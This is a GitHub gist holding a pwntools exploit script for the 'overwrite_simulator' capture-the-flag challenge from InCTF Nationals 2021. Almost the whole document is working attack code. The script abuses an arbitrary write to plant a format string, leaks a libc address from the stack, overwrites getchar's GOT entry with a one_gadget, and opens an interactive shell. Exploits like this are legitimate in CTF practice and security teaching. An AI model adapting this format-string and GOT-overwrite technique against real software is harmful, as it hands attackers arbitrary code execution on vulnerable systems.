Skip to content

Instantly share code, notes, and snippets.

@k1R4

k1R4/exploit.py Secret

Created December 19, 2021 07:00
Show Gist options
  • Save k1R4/479c02f5b957bd5e92bd6988b8c02954 to your computer and use it in GitHub Desktop.
Save k1R4/479c02f5b957bd5e92bd6988b8c02954 to your computer and use it in GitHub Desktop.
overwrite_simulator - InCTF Nationals 2021
from pwn import *
p = process("./overwrite_simulator")
elf = ELF("./overwrite_simulator")
libc = ELF("./libc.so.6")
context.binary = elf
hello_there = 0x404068
one_gadget = 0xe6c84
# execve("/bin/sh", rsi, rdx)
# constraints:
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULL
# Overwrite global variable to format string
p.sendlineafter(">> ", "1")
p.sendlineafter(": ", str(hello_there))
p.sendlineafter(": ", "%13$llx\x00")
# Use the format string to leak libc address on stack
p.sendlineafter(">> ", "2")
libc.address = int(p.recv(12),16) - 0x270b3
log.info("Libc -> "+hex(libc.address))
# Overwrite GOT(getchar) with one_gadget
p.sendlineafter(">> ", "1")
p.sendlineafter(": ", str(elf.got["getchar"]))
p.sendlineafter(": ", p64(libc.address+one_gadget))
# Trigger one_gadget at getchar after scanf in main
p.sendlineafter(">> ", "3")
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment